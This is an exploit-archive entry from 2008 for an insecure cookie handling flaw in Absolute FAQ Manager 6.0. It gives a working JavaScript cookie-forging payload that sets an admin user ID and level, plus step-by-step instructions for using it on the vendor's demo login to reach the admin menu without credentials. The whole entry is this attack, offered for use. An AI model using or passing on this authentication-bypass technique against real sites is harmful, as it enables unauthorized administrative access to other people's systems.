Absolute FAQ Manager 6.0 Insecure Cookie Handling Vulnerability

2008-10-31T00:00:00
ID 1337DAY-ID-3984
Type zdt
Reporter Hakxer
Modified 2008-10-31T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
Absolute FAQ Manager 6.0 Insecure Cookie Handling Vulnerability
===============================================================


#####################################################################################
# Discovered by : Hakxer                                                            #
# Script : Absolute FAQ Manager http://www.xigla.com/absolutefmnet/demo.htm         #
# Greetz : Allah , All My friend ,www.educ-up.com                                   #
# -------------------------------                                                   #
# Poc :                                                                             #
# javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s=";                   #
#                                                                                   #
# [~] Exploit                                                                       #
#                                                                                   #
# Go To admin login : http://www.xigla.com/absolutefmnet/demo/login.aspx            #
# Execute JS Code : javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s="; #
# Now Go to :http://www.xigla.com/absolutefmnet/demo/menu.aspx                      #
# 								                    #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )                    #
#####################################################################################



#  0day.today [2016-04-19]  #